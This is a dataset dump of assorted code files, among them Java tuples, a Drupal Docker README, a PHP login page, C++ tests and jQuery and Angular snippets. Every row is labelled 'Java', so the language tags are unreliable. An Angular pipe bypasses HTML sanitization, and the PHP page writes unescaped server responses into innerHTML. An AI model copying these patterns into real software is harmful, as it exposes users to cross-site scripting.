code stringlengths 4 1.01M | language stringclasses 2 values |
|---|---|
package org.sfm.tuples;
public class Tuple20<T1, T2, T3, T4, T5, T6, T7, T8, T9, T10, T11, T12, T13, T14, T15, T16, T17, T18, T19, T20> extends Tuple19<T1, T2, T3, T4, T5, T6, T7, T8, T9, T10, T11, T12, T13, T14, T15, T16, T17, T18, T19> {
private final T20 element19;
public Tuple20(T1 element0, T2 element1, T3 element2, T4 element3, T5 element4, T6 element5, T7 element6, T8 element7, T9 element8, T10 element9, T11 element10, T12 element11, T13 element12, T14 element13, T15 element14, T16 element15, T17 element16, T18 element17, T19 element18, T20 element19) {
super(element0, element1, element2, element3, element4, element5, element6, element7, element8, element9, element10, element11, element12, element13, element14, element15, element16, element17, element18);
this.element19 = element19;
}
public final T20 getElement19() {
return element19;
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
if (!super.equals(o)) return false;
Tuple20 tuple20 = (Tuple20) o;
if (element19 != null ? !element19.equals(tuple20.element19) : tuple20.element19 != null) return false;
return true;
}
@Override
public int hashCode() {
int result = super.hashCode();
result = 31 * result + (element19 != null ? element19.hashCode() : 0);
return result;
}
@Override
public String toString() {
return "Tuple20{" +
"element0=" + getElement0() +
", element1=" + getElement1() +
", element2=" + getElement2() +
", element3=" + getElement3() +
", element4=" + getElement4() +
", element5=" + getElement5() +
", element6=" + getElement6() +
", element7=" + getElement7() +
", element8=" + getElement8() +
", element9=" + getElement9() +
", element10=" + getElement10() +
", element11=" + getElement11() +
", element12=" + getElement12() +
", element13=" + getElement13() +
", element14=" + getElement14() +
", element15=" + getElement15() +
", element16=" + getElement16() +
", element17=" + getElement17() +
", element18=" + getElement18() +
", element19=" + getElement19() +
'}';
}
public <T21> Tuple21<T1, T2, T3, T4, T5, T6, T7, T8, T9, T10, T11, T12, T13, T14, T15, T16, T17, T18, T19, T20, T21> tuple21(T21 element20) {
return new Tuple21<T1, T2, T3, T4, T5, T6, T7, T8, T9, T10, T11, T12, T13, T14, T15, T16, T17, T18, T19, T20, T21>(getElement0(), getElement1(), getElement2(), getElement3(), getElement4(), getElement5(), getElement6(), getElement7(), getElement8(), getElement9(), getElement10(), getElement11(), getElement12(), getElement13(), getElement14(), getElement15(), getElement16(), getElement17(), getElement18(), getElement19(), element20);
}
}
| Java |
# Supported tags and respective `Dockerfile` links
- [`8.3.0-alpha1-apache`, `8.3-rc-apache`, `rc-apache`, `8.3.0-alpha1`, `8.3-rc`, `rc` (*8.3-rc/apache/Dockerfile*)](https://github.com/docker-library/drupal/blob/a5a6b1294bd3a987d6410887ba895e5649dc163c/8.3-rc/apache/Dockerfile)
- [`8.3.0-alpha1-fpm`, `8.3-rc-fpm`, `rc-fpm` (*8.3-rc/fpm/Dockerfile*)](https://github.com/docker-library/drupal/blob/a5a6b1294bd3a987d6410887ba895e5649dc163c/8.3-rc/fpm/Dockerfile)
- [`8.2.6-apache`, `8.2-apache`, `8-apache`, `apache`, `8.2.6`, `8.2`, `8`, `latest` (*8.2/apache/Dockerfile*)](https://github.com/docker-library/drupal/blob/1ad01e8c9b0b34d8525e277dc6b4a6aaaddf020f/8.2/apache/Dockerfile)
- [`8.2.6-fpm`, `8.2-fpm`, `8-fpm`, `fpm` (*8.2/fpm/Dockerfile*)](https://github.com/docker-library/drupal/blob/1ad01e8c9b0b34d8525e277dc6b4a6aaaddf020f/8.2/fpm/Dockerfile)
- [`7.54-apache`, `7-apache`, `7.54`, `7` (*7/apache/Dockerfile*)](https://github.com/docker-library/drupal/blob/aac79bfa92b93b484bd1d459adef02789ac2e011/7/apache/Dockerfile)
- [`7.54-fpm`, `7-fpm` (*7/fpm/Dockerfile*)](https://github.com/docker-library/drupal/blob/aac79bfa92b93b484bd1d459adef02789ac2e011/7/fpm/Dockerfile)
For more information about this image and its history, please see [the relevant manifest file (`library/drupal`)](https://github.com/docker-library/official-images/blob/master/library/drupal). This image is updated via [pull requests to the `docker-library/official-images` GitHub repo](https://github.com/docker-library/official-images/pulls?q=label%3Alibrary%2Fdrupal).
For detailed information about the virtual/transfer sizes and individual layers of each of the above supported tags, please see [the `repos/drupal/tag-details.md` file](https://github.com/docker-library/repo-info/blob/master/repos/drupal/tag-details.md) in [the `docker-library/repo-info` GitHub repo](https://github.com/docker-library/repo-info).
# What is Drupal?
Drupal is a free and open-source content-management framework written in PHP and distributed under the GNU General Public License. It is used as a back-end framework for at least 2.1% of all Web sites worldwide ranging from personal blogs to corporate, political, and government sites including WhiteHouse.gov and data.gov.uk. It is also used for knowledge management and business collaboration.
> [wikipedia.org/wiki/Drupal](https://en.wikipedia.org/wiki/Drupal)

# How to use this image
The basic pattern for starting a `drupal` instance is:
```console
$ docker run --name some-drupal -d drupal
```
If you'd like to be able to access the instance from the host without the container's IP, standard port mappings can be used:
```console
$ docker run --name some-drupal -p 8080:80 -d drupal
```
Then, access it via `http://localhost:8080` or `http://host-ip:8080` in a browser.
There are multiple database types supported by this image, most easily used via standard container linking. In the default configuration, SQLite can be used to avoid a second container and write to flat-files. More detailed instructions for different (more production-ready) database types follow.
When first accessing the webserver provided by this image, it will go through a brief setup process. The details provided below are specifically for the "Set up database" step of that configuration process.
## MySQL
```console
$ docker run --name some-drupal --link some-mysql:mysql -d drupal
```
- Database type: `MySQL, MariaDB, or equivalent`
- Database name/username/password: `<details for accessing your MySQL instance>` (`MYSQL_USER`, `MYSQL_PASSWORD`, `MYSQL_DATABASE`; see environment variables in the description for [`mysql`](https://registry.hub.docker.com/_/mysql/))
- ADVANCED OPTIONS; Database host: `mysql` (for using the `/etc/hosts` entry added by `--link` to access the linked container's MySQL instance)
## PostgreSQL
```console
$ docker run --name some-drupal --link some-postgres:postgres -d drupal
```
- Database type: `PostgreSQL`
- Database name/username/password: `<details for accessing your PostgreSQL instance>` (`POSTGRES_USER`, `POSTGRES_PASSWORD`; see environment variables in the description for [`postgres`](https://registry.hub.docker.com/_/postgres/))
- ADVANCED OPTIONS; Database host: `postgres` (for using the `/etc/hosts` entry added by `--link` to access the linked container's PostgreSQL instance)
## Volumes
By default, this image does not include any volumes. There is a lot of good discussion on this topic in [docker-library/drupal#3](https://github.com/docker-library/drupal/issues/3), which is definitely recommended reading.
There is consensus that `/var/www/html/modules`, `/var/www/html/profiles`, and `/var/www/html/themes` are things that generally ought to be volumes (and might have an explicit `VOLUME` declaration in a future update to this image), but handling of `/var/www/html/sites` is somewhat more complex, since the contents of that directory *do* need to be initialized with the contents from the image.
If using bind-mounts, one way to accomplish pre-seeding your local `sites` directory would be something like the following:
```console
$ docker run --rm drupal tar -cC /var/www/html/sites . | tar -xC /path/on/host/sites
```
This can then be bind-mounted into a new container:
```console
$ docker run --name some-drupal --link some-postgres:postgres -d \
-v /path/on/host/modules:/var/www/html/modules \
-v /path/on/host/profiles:/var/www/html/profiles \
-v /path/on/host/sites:/var/www/html/sites \
-v /path/on/host/themes:/var/www/html/themes \
drupal
```
Another solution using Docker Volumes:
```console
$ docker volume create drupal-sites
$ docker run --rm -v drupal-sites:/temporary/sites drupal cp -aRT /var/www/html/sites /temporary/sites
$ docker run --name some-drupal --link some-postgres:postgres -d \
-v drupal-modules:/var/www/html/modules \
-v drupal-profiles:/var/www/html/profiles \
-v drupal-sites:/var/www/html/sites \
-v drupal-themes:/var/www/html/themes \
```
## ... via [`docker-compose`](https://github.com/docker/compose)
Example `docker-compose.yml` for `drupal`:
```yaml
# Drupal with PostgreSQL
#
# Access via "http://localhost:8080"
# (or "http://$(docker-machine ip):8080" if using docker-machine)
#
# During initial Drupal setup,
# Database type: PostgreSQL
# Database name: postgres
# Database username: postgres
# Database password: example
# ADVANCED OPTIONS; Database host: postgres
version: '2'
services:
drupal:
image: drupal:8.2-apache
ports:
- 8080:80
volumes:
- /var/www/html/modules
- /var/www/html/profiles
- /var/www/html/themes
# this takes advantage of the feature in Docker that a new anonymous
# volume (which is what we're creating here) will be initialized with the
# existing content of the image at the same location
- /var/www/html/sites
restart: always
postgres:
image: postgres:9.6
environment:
POSTGRES_PASSWORD: example
restart: always
```
## Adding additional libraries / extensions
This image does not provide any additional PHP extensions or other libraries, even if they are required by popular plugins. There are an infinite number of possible plugins, and they potentially require any extension PHP supports. Including every PHP extension that exists would dramatically increase the image size.
If you need additional PHP extensions, you'll need to create your own image `FROM` this one. The [documentation of the `php` image](https://github.com/docker-library/docs/blob/master/php/README.md#how-to-install-more-php-extensions) explains how to compile additional extensions. Additionally, the [`drupal:7` Dockerfile](https://github.com/docker-library/drupal/blob/bee08efba505b740a14d68254d6e51af7ab2f3ea/7/Dockerfile#L6-9) has an example of doing this.
The following Docker Hub features can help with the task of keeping your dependent images up-to-date:
- [Automated Builds](https://docs.docker.com/docker-hub/builds/) let Docker Hub automatically build your Dockerfile each time you push changes to it.
- [Repository Links](https://docs.docker.com/docker-hub/builds/#repository-links) can ensure that your image is also rebuilt any time `drupal` is updated.
# License
View [license information](https://www.drupal.org/licensing/faq) for the software contained in this image.
# Supported Docker versions
This image is officially supported on Docker version 1.13.1.
Support for older versions (down to 1.6) is provided on a best-effort basis.
Please see [the Docker installation documentation](https://docs.docker.com/installation/) for details on how to upgrade your Docker daemon.
# User Feedback
## Issues
If you have any problems with or questions about this image, please contact us through a [GitHub issue](https://github.com/docker-library/drupal/issues). If the issue is related to a CVE, please check for [a `cve-tracker` issue on the `official-images` repository first](https://github.com/docker-library/official-images/issues?q=label%3Acve-tracker).
You can also reach many of the official image maintainers via the `#docker-library` IRC channel on [Freenode](https://freenode.net).
## Contributing
You are invited to contribute new features, fixes, or updates, large or small; we are always thrilled to receive pull requests, and do our best to process them as fast as we can.
Before you start to code, we recommend discussing your plans through a [GitHub issue](https://github.com/docker-library/drupal/issues), especially for more ambitious contributions. This gives other contributors a chance to point you in the right direction, give you feedback on your design, and help you find out if someone else is working on the same thing.
## Documentation
Documentation for this image is stored in the [`drupal/` directory](https://github.com/docker-library/docs/tree/master/drupal) of the [`docker-library/docs` GitHub repo](https://github.com/docker-library/docs). Be sure to familiarize yourself with the [repository's `README.md` file](https://github.com/docker-library/docs/blob/master/README.md) before attempting a pull request.
| Java |
<?php
$districts = array('Ampara', 'Anuradhapura', 'Badulla', 'Batticaloa', 'Colombo', 'Galle', 'Gampaha', 'Hambantota', 'Jaffna', 'Kaluthara', 'Kandy', 'Kilinochchi', 'Kegalle', 'Mannar', 'Matale', 'Matara', 'Monaragala', 'Mulattivu', 'Nuwaraeliya', 'Polonnaruwa', 'Rathnapura', 'Trincomalee', 'Vavuniya');
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>AdminLTE 2 | Log in</title>
<!-- Tell the browser to be responsive to screen width -->
<meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
<!-- Bootstrap 3.3.5 -->
<link rel="stylesheet" href="../bootstrap/css/bootstrap.min.css">
<link rel="stylesheet" href="../plugins/select2/select2.min.css">
<!-- Font Awesome -->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.4.0/css/font-awesome.min.css">
<!-- Ionicons -->
<link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
<!-- Theme style -->
<link rel="stylesheet" href="../dist/css/AdminLTE.min.css">
<!-- iCheck -->
<link rel="stylesheet" href="../plugins/iCheck/square/blue.css">
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="../plugins/select2/select2.full.min.js"></script>
<script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body class="hold-transition login-page">
<div class="login-box">
<div class="login-logo">
<a href="../index2.html"><b>SCHOOL</b> LOGIN</a>
</div>
<!-- /.login-logo -->
<div class="login-box-body">
<p class="login-box-msg">Choose your school and enter password</p>
<form action="./index.php" method="post">
<div class="row">
<div class="form-group has-feedback">
<label for="name" class="col-sm-2 control-label">District</label>
<div class="col-sm-12">
<select class="form-control select2" style="width: 100%;"
onchange="load_district_schools(this.value)" name="district" id="district">
<option></option>
<?php
foreach ($districts as $district) {
?>
<option><?php echo $district; ?></option>
<?php
}
?>
</select>
</div>
<br><br><br><br>
<div class="form-group">
<label for="name" class="col-sm-2 control-label">School</label>
<div class="col-sm-12">
<select class="form-control select2" style="width: 100%;" name="schoolsfordistrict" id="schoolsfordistrict" >
</select>
</div>
</div>
</div>
</div>
<br>
<label for="name" class=" control-label">Password</label>
<div class="form-group has-feedback">
<input type="password" class="form-control" placeholder="Password" name="password">
<span class="glyphicon glyphicon-lock form-control-feedback"></span>
</div>
<div class="row">
<div class="col-xs-8">
<div class="checkbox icheck">
</div>
</div>
<!-- /.col -->
<div class="col-xs-4">
<button type="submit" class="btn btn-primary btn-block btn-flat">Sign In</button>
</div>
<!-- /.col -->
</div>
<input type="hidden" id="login" name="login">
</form>
</div>
<!-- /.login-box-body -->
</div>
<!-- /.login-box -->
<!-- jQuery 2.1.4 -->
<script src="../plugins/jQuery/jQuery-2.1.4.min.js"></script>
<script src="../plugins/select2/select2.full.min.js"></script>
<!-- Bootstrap 3.3.5 -->
<script src="../bootstrap/js/bootstrap.min.js"></script>
<!-- iCheck -->
<script src="../plugins/iCheck/icheck.min.js"></script>
<script>
$(function () {
$('input').iCheck({
checkboxClass: 'icheckbox_square-blue',
radioClass: 'iradio_square-blue',
increaseArea: '20%' // optional
});
});
</script>
<script type="text/javascript">
$('#Date').datepicker({
autoclose: true,
todayHighlight: true,
format: 'yyyy-mm-dd'
});
function load_district_schools(district) {
if (district != "") {
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp = new XMLHttpRequest();
} else {
// code for IE6, IE5
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
document.getElementById('schoolsfordistrict').innerHTML = xmlhttp.responseText;
}
};
xmlhttp.open("GET", "get_schools_from_district.php?district=" + district, true);
xmlhttp.send();
}
}
function load_school_students(school_id) {
if (school_id != "") {
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp = new XMLHttpRequest();
} else {
// code for IE6, IE5
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
string = xmlhttp.responseText;
alert(string);
document.getElementById('studentsforschool').innerHTML = string;
}
};
xmlhttp.open("GET", "get_students_from_school.php?school_id=" + school_id, true);
xmlhttp.send();
}
}
</script>
<script>
$(function () {
//Initialize Select2 Elements
$(".select2").select2();
//Datemask dd/mm/yyyy
$("#datemask").inputmask("dd/mm/yyyy", {"placeholder": "dd/mm/yyyy"});
//Datemask2 mm/dd/yyyy
$("#datemask2").inputmask("mm/dd/yyyy", {"placeholder": "mm/dd/yyyy"});
//Money Euro
$("[data-mask]").inputmask();
//Date range picker
$('#reservation').daterangepicker();
//Date range picker with time picker
$('#reservationtime').daterangepicker({timePicker: true, timePickerIncrement: 30, format: 'MM/DD/YYYY h:mm A'});
//Date range as a button
$('#daterange-btn').daterangepicker(
{
ranges: {
'Today': [moment(), moment()],
'Yesterday': [moment().subtract(1, 'days'), moment().subtract(1, 'days')],
'Last 7 Days': [moment().subtract(6, 'days'), moment()],
'Last 30 Days': [moment().subtract(29, 'days'), moment()],
'This Month': [moment().startOf('month'), moment().endOf('month')],
'Last Month': [moment().subtract(1, 'month').startOf('month'), moment().subtract(1, 'month').endOf('month')]
},
startDate: moment().subtract(29, 'days'),
endDate: moment()
},
function (start, end) {
$('#reportrange span').html(start.format('MMMM D, YYYY') + ' - ' + end.format('MMMM D, YYYY'));
}
);
//iCheck for checkbox and radio inputs
$('input[type="checkbox"].minimal, input[type="radio"].minimal').iCheck({
checkboxClass: 'icheckbox_minimal-blue',
radioClass: 'iradio_minimal-blue'
});
//Red color scheme for iCheck
$('input[type="checkbox"].minimal-red, input[type="radio"].minimal-red').iCheck({
checkboxClass: 'icheckbox_minimal-red',
radioClass: 'iradio_minimal-red'
});
//Flat red color scheme for iCheck
$('input[type="checkbox"].flat-red, input[type="radio"].flat-red').iCheck({
checkboxClass: 'icheckbox_flat-green',
radioClass: 'iradio_flat-green'
});
//Colorpicker
$(".my-colorpicker1").colorpicker();
//color picker with addon
$(".my-colorpicker2").colorpicker();
//Timepicker
$(".timepicker").timepicker({
showInputs: false
});
});
</script>
</body>
</html>
| Java |
/*
* file: twi.h
* created: 20160807
* author(s): mr-augustine
*
* These are the Two-Wire Interface (TWI) bit mask definitions
* They were copied from the following site:
* http://www.nongnu.org/avr-libc/user-manual/group__util__twi.html
*
* The mnemonics are defined as follows:
* TW_MT_xxx: Master Transmitter
* TW_MR_xxx: Master Receiver
* TW_ST_xxx: Slave Transmitter
* TW_SR_xxx: Slave Receiver
*
* SLA: Slave Address
* Comments are appended to the mask definitions we use
*/
#ifndef _TWI_H_
#define _TWI_H_
#define TW_START 0x08 // Start condition transmitted
#define TW_REP_START 0x10 // Repeated Start condition transmitted
#define TW_MT_SLA_ACK 0x18 // SLA+W transmitted, ACK received
#define TW_MT_SLA_NACK 0x20
#define TW_MT_DATA_ACK 0x28 // Data transmitted, ACK received
#define TW_MT_DATA_NACK 0x30
#define TW_MT_ARB_LOST 0x38
#define TW_MR_ARB_LOST 0x38
#define TW_MR_SLA_ACK 0x40 // SLA+R transmitted, ACK received
#define TW_MR_SLA_NACK 0x48
#define TW_MR_DATA_ACK 0x50 // Data received, ACK returned
#define TW_MR_DATA_NACK 0x58 // Data received, NACK returned
#define TW_ST_SLA_ACK 0xA8
#define TW_ST_ARB_LOST_SLA_ACK 0xB0
#define TW_ST_DATA_ACK 0xB8
#define TW_ST_DATA_NACK 0xC0
#define TW_ST_LAST_DATA 0xC8
#define TW_SR_SLA_ACK 0x60
#define TW_SR_ARB_LOST_SLA_ACK 0x68
#define TW_SR_GCALL_ACK 0x70
#define TW_SR_ARB_LOST_GCALL_ACK 0x78
#define TW_SR_DATA_ACK 0x80
#define TW_SR_DATA_NACK 0x88
#define TW_SR_GCALL_DATA_ACK 0x90
#define TW_SR_GCALL_DATA_NACK 0x98
#define TW_SR_STOP 0xA0
#define TW_NO_INFO 0xF8
#define TW_BUS_ERROR 0x00
#define TW_STATUS (TWSR & TW_NO_INFO) // Grab the status bits
#define TW_READ 1 // Read-mode flag
#define TW_WRITE 0 // Write-mode flag
#endif // #ifndef _TWI_H_
| Java |
/*
* This file is part of ViaVersion - https://github.com/ViaVersion/ViaVersion
* Copyright (C) 2016-2021 ViaVersion and contributors
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package com.viaversion.viaversion.protocols.protocol1_12_2to1_12_1;
import com.viaversion.viaversion.api.protocol.AbstractProtocol;
import com.viaversion.viaversion.api.protocol.remapper.PacketRemapper;
import com.viaversion.viaversion.api.type.Type;
import com.viaversion.viaversion.protocols.protocol1_12_1to1_12.ClientboundPackets1_12_1;
import com.viaversion.viaversion.protocols.protocol1_12_1to1_12.ServerboundPackets1_12_1;
public class Protocol1_12_2To1_12_1 extends AbstractProtocol<ClientboundPackets1_12_1, ClientboundPackets1_12_1, ServerboundPackets1_12_1, ServerboundPackets1_12_1> {
public Protocol1_12_2To1_12_1() {
super(ClientboundPackets1_12_1.class, ClientboundPackets1_12_1.class, ServerboundPackets1_12_1.class, ServerboundPackets1_12_1.class);
}
@Override
protected void registerPackets() {
registerClientbound(ClientboundPackets1_12_1.KEEP_ALIVE, new PacketRemapper() {
@Override
public void registerMap() {
map(Type.VAR_INT, Type.LONG);
}
});
registerServerbound(ServerboundPackets1_12_1.KEEP_ALIVE, new PacketRemapper() {
@Override
public void registerMap() {
map(Type.LONG, Type.VAR_INT);
}
});
}
}
| Java |
//config file for bae
if(sumeru.BAE_VERSION){
sumeru.config.database({
dbname : '',
user: '',//bae 3.0 required
password: ''//bae 3.0 required
});
sumeru.config({
site_url : '' //with tailing slash
});
} | Java |
.preloader-background {
display: flex;
align-items: center;
justify-content: center;
background-color: #eee;
position: fixed;
z-index: 100;
top: 0;
left: 0;
right: 0;
bottom: 0;
}
.collapsible header {
background-color: #546e7a !important;
}
| Java |
#include <cassert>
#include <cmath>
#include "gtest/gtest.h"
#include "interlude.hpp"
// defined in the header
// #define MAT_SIZE 5
using std::cout;
using std::endl;
// void matDiagSum(int a[][MAT_SIZE], int rows, int cols){
// }
// 1 2 3 4 5 1 2 3 4 5
// 6 7 8 9 10 6 8 10 12 14
// 11 12 13 14 15 11 18 21 24 27
// 16 17 18 19 20 16 28 36 40 44
// 21 22 23 24 25 21 38 51 60 65
// 0,0 0,1 0,2 0,3 0,4
// 1,0 1,1 1,2 1,3 1,4
// 2,0 2,1 2,2 2,3 2,4
// 3,0 3,1 3,2 3,3 3,4
// 4,0 4,1 4,2 4,3 4,4
void printArr(int arr[][MAT_SIZE], int rows, int cols) {
cout << "The two dimensional array:" << endl;
for (int i = 0; i < rows; ++i) {
for (int j = 0; j < cols; ++j) {
cout << arr[i][j] << "\t";
}
cout << endl;
}
}
// int digitMultiSeq(int n){
// }
// int multiplyDigits(int a){
// }
// bool isPermutation(unsigned int n, unsigned int m){
// }
// From http://www.doc.ic.ac.uk/~wjk/C++Intro/RobMillerE3.html#Q3
// double standardDeviation(double values[], int length, int size){
// The formula for standard deviation
// a is the avarage of of the values r1 ... rN
// sqrt( ( ((r1 - a) x (r1 - a)) + ((r2-a) x (r2-a)) + ... + ((rN - a) x (rN - a)) ) / N )
// assert(length <= size);
// }
// From http://www.doc.ic.ac.uk/~wjk/C++Intro/RobMillerL6.html#S6-2
double average(double list[], int length, int size){
double total = 0;
int count;
for (count = 0 ; count < length ; count++)
total += list[count];
return (total / length);
}
/*===================================================
Tests
===================================================*/
// TEST(Functions, digit_multi_seq){
// EXPECT_EQ(38, digitMultiSeq(8));
// EXPECT_EQ(62, digitMultiSeq(9));
// EXPECT_EQ(74, digitMultiSeq(10));
// }
// TEST(Functions, multiply_digits){
// int a = 1234;
// EXPECT_EQ(24, multiplyDigits(a));
// }
// TEST(Matrix, mat_diag_sum){
// int mat[MAT_SIZE][MAT_SIZE] = { { 1, 2, 3, 4, 5},
// { 6, 7, 8, 9, 10},
// { 11, 12, 13, 14, 15},
// { 16, 17, 18, 19, 20},
// { 21, 22, 23, 24, 25}};
// int ans[MAT_SIZE][MAT_SIZE] = { {1, 2, 3, 4, 5},
// {6, 8, 10, 12, 14},
// {11, 18,21, 24, 27},
// {16, 28, 36, 40, 44},
// {21, 38, 51, 60, 65}};
// matDiagSum(mat,MAT_SIZE,MAT_SIZE);
// printArr(mat,MAT_SIZE,MAT_SIZE);
// printArr(ans,MAT_SIZE,MAT_SIZE);
// for(int i = 0; i < MAT_SIZE; i++){
// for(int j = 0; j < MAT_SIZE; j++){
// EXPECT_EQ(ans[i][j], mat[i][j]);
// }
// }
// }
// TEST(Arrays, is_permutation){
// int n = 1234;
// int m = 4231;
// int n2 = 456723;
// int m2 = 456724;
// int n3 = 45647235;
// int m3 = 45657234;
// EXPECT_TRUE(isPermutation(n,m));
// EXPECT_FALSE(isPermutation(n2,m2));
// EXPECT_TRUE(isPermutation(n3,m3));
// }
TEST(Functions, average){
int length = 5;
int size = 5;
double list[] = {2.51, 5.468, 89.12, 546.49, 65489.877};
EXPECT_DOUBLE_EQ(13226.693, average(list,length,size));
}
// TEST(Arrays, standard_deviation){
// int length = 5;
// int size = 5;
// double list[] = {2.51, 5.468, 89.12, 546.49, 65489.877};
// double epsilon = 0.001;
// EXPECT_TRUE( abs(26132.36913 - standardDeviation(list,length,size)) <= epsilon);
// } | Java |
<?php
/**
* @author "Michael Collette" <metrol@metrol.net>
* @package Metrol_Libs
* @version 2.0
* @copyright (c) 2014, Michael Collette
*/
namespace Metrol\HTML\Table;
/**
* Defines an HTML Table Foot Area
*/
class Foot extends Section
{
/**
*/
public function __construct()
{
parent::__construct('tfoot');
$this->rows = array();
}
}
| Java |
clean_zsh_history
=================
Erase tautological history in `.zsh_history`.
# Usage
python ./clean_zsh_history.py [path/to/.zsh_history]
default arguments is `$HOME/.zsh_history`
| Java |
import sys
sys.path.insert(0,'../')
from fast_guided_filter import blur
print("hello")
| Java |
#include "core/bomberman.hpp"
#include "core/menu.hpp"
#include "core/screens.hpp"
#include "core/view.hpp"
#include "core/views/menu.hpp"
MenuView::MenuView(Screen *screen, Menu *menu)
: View(screen)
, menu(menu)
, clock(Timer::get(2))
{
}
MenuView::~MenuView()
{
delete this->menu;
}
void MenuView::update(const Events &events)
{
Vec2u pos(events.touch.x, events.touch.y);
if (events.touch.isTouch && this->clock.current() > 10000)
{
this->clock.reset();
this->menu->onClick(pos);
}
}
void MenuView::render()
{
swiWaitForVBlank();
dmaCopy(this->menu->bgSrc, bgGetGfxPtr(this->getScreen().bg), this->menu->bgSize);
}
void MenuView::setMenu(Menu *menu)
{
if (menu != nullptr)
{
menu->setView(this);
}
Menu *old = this->menu;
Bomberman::getInstance().nextTick([old]() {
delete old;
});
this->menu = menu;
}
Menu &MenuView::getMenu()
{
return *this->menu;
}
const Menu &MenuView::getMenu() const
{
return *this->menu;
}
| Java |
///<reference src="js/tempus-dominus"/>
/*global $ */
tempusDominus.jQueryInterface = function (option, argument) {
if (this.length === 1) {
return tempusDominus.jQueryHandleThis(this, option, argument);
}
// "this" is jquery here
return this.each(function () {
tempusDominus.jQueryHandleThis(this, option, argument);
});
};
tempusDominus.jQueryHandleThis = function (me, option, argument) {
let data = $(me).data(tempusDominus.Namespace.dataKey);
if (typeof option === 'object') {
$.extend({}, tempusDominus.DefaultOptions, option);
}
if (!data) {
data = new tempusDominus.TempusDominus($(me)[0], option);
$(me).data(tempusDominus.Namespace.dataKey, data);
}
if (typeof option === 'string') {
if (data[option] === undefined) {
throw new Error(`No method named "${option}"`);
}
if (argument === undefined) {
return data[option]();
} else {
if (option === 'date') {
data.isDateUpdateThroughDateOptionFromClientCode = true;
}
const ret = data[option](argument);
data.isDateUpdateThroughDateOptionFromClientCode = false;
return ret;
}
}
};
tempusDominus.getSelectorFromElement = function ($element) {
let selector = $element.data('target'),
$selector;
if (!selector) {
selector = $element.attr('href') || '';
selector = /^#[a-z]/i.test(selector) ? selector : null;
}
$selector = $(selector);
if ($selector.length === 0) {
return $element;
}
if (!$selector.data(tempusDominus.Namespace.dataKey)) {
$.extend({}, $selector.data(), $(this).data());
}
return $selector;
};
/**
* ------------------------------------------------------------------------
* jQuery
* ------------------------------------------------------------------------
*/
$(document)
.on(
`click${tempusDominus.Namespace.events.key}.data-api`,
`[data-toggle="${tempusDominus.Namespace.dataKey}"]`,
function () {
const $originalTarget = $(this),
$target = tempusDominus.getSelectorFromElement($originalTarget),
config = $target.data(tempusDominus.Namespace.dataKey);
if ($target.length === 0) {
return;
}
if (
config._options.allowInputToggle &&
$originalTarget.is('input[data-toggle="datetimepicker"]')
) {
return;
}
tempusDominus.jQueryInterface.call($target, 'toggle');
}
)
.on(
tempusDominus.Namespace.events.change,
`.${tempusDominus.Namespace.NAME}-input`,
function (event) {
const $target = tempusDominus.getSelectorFromElement($(this));
if ($target.length === 0 || event.isInit) {
return;
}
tempusDominus.jQueryInterface.call($target, '_change', event);
}
)
.on(
tempusDominus.Namespace.events.blur,
`.${tempusDominus.Namespace.NAME}-input`,
function (event) {
const $target = tempusDominus.getSelectorFromElement($(this)),
config = $target.data(tempusDominus.Namespace.dataKey);
if ($target.length === 0) {
return;
}
if (config._options.debug || window.debug) {
return;
}
tempusDominus.jQueryInterface.call($target, 'hide', event);
}
)
/*.on(tempusDominus.Namespace.Events.keydown, `.${tempusDominus.Namespace.NAME}-input`, function (event) {
const $target = tempusDominus.getSelectorFromElement($(this));
if ($target.length === 0) {
return;
}
tempusDominus.jQueryInterface.call($target, '_keydown', event);
})
.on(tempusDominus.Namespace.Events.keyup, `.${tempusDominus.Namespace.NAME}-input`, function (event) {
const $target = tempusDominus.getSelectorFromElement($(this));
if ($target.length === 0) {
return;
}
tempusDominus.jQueryInterface.call($target, '_keyup', event);
})*/
.on(
tempusDominus.Namespace.events.focus,
`.${tempusDominus.Namespace.NAME}-input`,
function (event) {
const $target = tempusDominus.getSelectorFromElement($(this)),
config = $target.data(tempusDominus.Namespace.dataKey);
if ($target.length === 0) {
return;
}
if (!config._options.allowInputToggle) {
return;
}
tempusDominus.jQueryInterface.call($target, 'show', event);
}
);
const name = 'tempusDominus';
$.fn[name] = tempusDominus.jQueryInterface;
$.fn[name].Constructor = tempusDominus.TempusDominus;
$.fn[name].noConflict = function () {
$.fn[name] = $.fn[name];
return tempusDominus.jQueryInterface;
};
| Java |
web-practice
============
| Java |
import { Pipe, PipeTransform } from '@angular/core';
import { DomSanitizer, SafeHtml } from '@angular/platform-browser';
@Pipe({
name: 'sanitizeHtml',
pure: false
})
export class SanitizerPipe implements PipeTransform {
constructor(private _sanitizer: DomSanitizer) {
}
transform(v: string): SafeHtml {
const html = this._sanitizer.bypassSecurityTrustHtml(v);
if (html.hasOwnProperty('changingThisBreaksApplicationSecurity') &&
